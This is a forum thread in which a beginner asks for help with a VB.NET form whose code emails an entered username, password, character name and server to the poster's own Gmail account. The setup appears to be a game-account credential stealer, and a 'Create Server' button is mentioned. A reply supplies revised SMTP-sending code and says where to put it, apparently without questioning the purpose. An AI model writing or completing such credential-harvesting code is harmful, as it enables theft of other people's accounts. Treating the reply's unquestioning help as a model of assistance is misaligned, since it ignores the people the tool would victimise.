I'm new to Vb and I'm just testing some stuff and at the moment im trying something new and im stuck...

So here is what i want to do...

http://img441.imageshack.us/img441/9858/hfghdfhg.jpg

I want the username and Password fields to be the mail and password in here...

Dim MyMailMessage As New MailMessage
            MyMailMessage.From() = New MailAddress("") 'U Enter Ur Email here
            MyMailMessage.To.Add("") 'U Enter Ur Email here agian
            MyMailMessage.Subject = "Acc"
            MyMailMessage.Body = "Username:" & (TextBox1.Text) & "Password:" & (TextBox3.Text) & "Character:" & (TextBox2.Text) & "Server:" & (ComboBox1.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("", "") 'U Enter The Email, And The Password To The Email here
            SMTP.Send(MyMailMessage)

Also i cant figure out, how to create the Server when i PRess Create Server...

Any help would be apreciated

I cant view the image because I'm at work so I can't get a full understanding of what you're trying to do, can you embed the image into your post?

- Jordan

Assuming that the username textbox is textbox1 and the password is textbox3 this code should work. Just put it in the click event of your create server button.

Dim MyMailMessage As New MailMessage
        MyMailMessage.From() = New MailAddress("youremail@gmail.com")
        MyMailMessage.To.Add("ToEmail@somedomain.com")
        MyMailMessage.Subject = "Subject Text"
        MyMailMessage.Body = "Message Body Text"
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.Port = 587
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox3.Text) 
        SMTP.Send(MyMailMessage)

I did not see a combobox or third text box in your screenshot so I removed the concatenated message body code.

-KT

_

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.